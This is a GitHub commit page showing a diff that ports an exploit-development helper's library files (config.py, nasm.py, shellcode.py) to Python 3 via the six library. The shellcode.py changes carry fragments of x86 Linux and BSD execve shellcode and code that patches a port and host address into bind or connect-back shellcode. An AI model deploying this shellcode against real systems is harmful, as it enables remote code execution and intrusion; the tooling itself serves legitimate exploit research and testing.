Skip to content

Commit

Permalink
Add support for Python 3 using the six library.
Browse files Browse the repository at this point in the history
Refer to python23-compatibility.md for details about supporting both
Python 2 and Python 3.
  • Loading branch information
tmfink committed Jul 5, 2015
1 parent 152e635 commit c94ba0d
Show file tree
Hide file tree
Showing 8 changed files with 1,289 additions and 137 deletions.
4 changes: 4 additions & 0 deletions lib/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,10 @@
# License: see LICENSE file for details
#

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

# change below settings to match your needs
## BEGIN OF SETTINGS ##

Expand Down
8 changes: 6 additions & 2 deletions lib/nasm.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,10 @@
# License: see LICENSE file for details
#

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

import os
from utils import *
import config
Expand All @@ -30,7 +34,7 @@ def assemble(asmcode, mode=32):
asmcode = asmcode.strip('"').strip("'")
asmcode = asmcode.replace(";", "\n")
asmcode = ("BITS %d\n" % mode) + asmcode
asmcode = asmcode.decode('string_escape')
asmcode = decode_string_escape(asmcode)
asmcode = re.sub("PTR|ptr|ds:|DS:", "", asmcode)
infd = tmpfile()
outfd = tmpfile()
Expand Down Expand Up @@ -81,7 +85,7 @@ def nasm2shellcode(asmcode):
m = pattern.match(line)
if m:
(addr, bytes, code) = m.groups()
sc = '"%s"' % to_hexstr(bytes.decode('hex'))
sc = '"%s"' % to_hexstr(codecs.decode(bytes, 'hex'))
shellcode += [(sc, "0x"+addr, code)]

maxlen = max([len(x[0]) for x in shellcode])
Expand Down
56 changes: 41 additions & 15 deletions lib/shellcode.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,13 +6,28 @@
# License: see LICENSE file for details
#

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

import random
import socket
import struct
import httplib
import traceback

import six.moves.http_client
from six.moves import range

import config
from utils import msg, error_msg

shellcode_x86_linux = {

def _make_values_bytes(dict_):
"""Make shellcode in dictionaries bytes"""
return {k: six.b(v) for k, v in dict_.items()}


shellcode_x86_linux = _make_values_bytes({
"exec": (
"\x31\xc0" # 0x00000000: xor eax,eax
"\x50" # 0x00000002: push eax
Expand Down Expand Up @@ -116,9 +131,9 @@
"\xb0\x0b" # 0x00000042: mov al,0xb
"\xcd\x80" # 0x00000044: int 0x80 ; execve()
)
}
})

shellcode_x86_bsd = {
shellcode_x86_bsd = _make_values_bytes({
"exec": (
"\x31\xc0" # 0x00000000: xor eax,eax
"\x50" # 0x00000002: push eax
Expand Down Expand Up @@ -206,7 +221,8 @@
"\xb0\x3b" # 0x0000003C: mov al,0x3b
"\xcd\x80" # 0x0000003E: int 0x80 ; execve()
)
}
})


shellcode_x86 = {"linux": shellcode_x86_linux, "bsd": shellcode_x86_bsd}

Expand Down Expand Up @@ -270,11 +286,14 @@ def shellcode(self, sctype, port=None, host=None):
try:
port = struct.pack(">H", port)
addr = socket.inet_aton(host)
shellcode = shellcode.replace("\x66\x68\x41\x42", "\x66\x68" + port)
shellcode = shellcode.replace("\x68\xff\x02\x41\x42", "\x68\xff\x02" + port)
shellcode = shellcode.replace("\x68\x7f\x7f\x7f\x7f", "\x68" + addr)
shellcode = shellcode.replace(b"\x66\x68\x41\x42", b"\x66\x68" + port)
shellcode = shellcode.replace(b"\x68\xff\x02\x41\x42", b"\x68\xff\x02" + port)
shellcode = shellcode.replace(b"\x68\x7f\x7f\x7f\x7f", b"\x68" + addr)
return shellcode
except:
except Exception as e:
if config.Option.get("debug") == "on":
msg("Exception: %s" %e)
traceback.print_exc()
return None

""" search() and display() use the shell-storm API """
Expand All @@ -283,11 +302,16 @@ def search(self, keyword):
return None
try:
msg("Connecting to shell-storm.org...")
s = httplib.HTTPConnection("shell-storm.org")
s = six.moves.http_client.HTTPConnection("shell-storm.org")

s.request("GET", "/api/?s="+str(keyword))
res = s.getresponse()
data_l = res.read().split('\n')
except:
read_result = res.read().decode('utf-8')
data_l = [x for x in read_result.split('\n') if x] # remove empty results
except Exception as e:
if config.Option.get("debug") == "on":
msg("Exception: %s" %e)
traceback.print_exc()
error_msg("Cannot connect to shell-storm.org")
return None

Expand All @@ -303,8 +327,10 @@ def search(self, keyword):
'ScUrl': desc[4]
}
data_dl.append(dico)
except:
pass
except Exception as e:
if config.Option.get("debug") == "on":
msg("Exception: %s" %e)
traceback.print_exc()

return data_dl

Expand All @@ -314,7 +340,7 @@ def display(self, shellcodeId):

try:
msg("Connecting to shell-storm.org...")
s = httplib.HTTPConnection("shell-storm.org")
s = six.moves.http_client.HTTPConnection("shell-storm.org")
except:
error_msg("Cannot connect to shell-storm.org")
return None
Expand Down
Loading

0 comments on commit c94ba0d

Please sign in to comment.